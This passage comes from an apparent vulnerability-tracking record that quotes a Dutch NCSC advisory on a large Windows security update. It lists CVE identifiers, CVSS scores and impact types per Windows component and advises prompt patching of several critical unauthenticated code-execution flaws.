van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:37.040460Z"}, {"uuid": "a22e8756-8415-4fb1-bf32-f71e5f62e31b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54109", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain 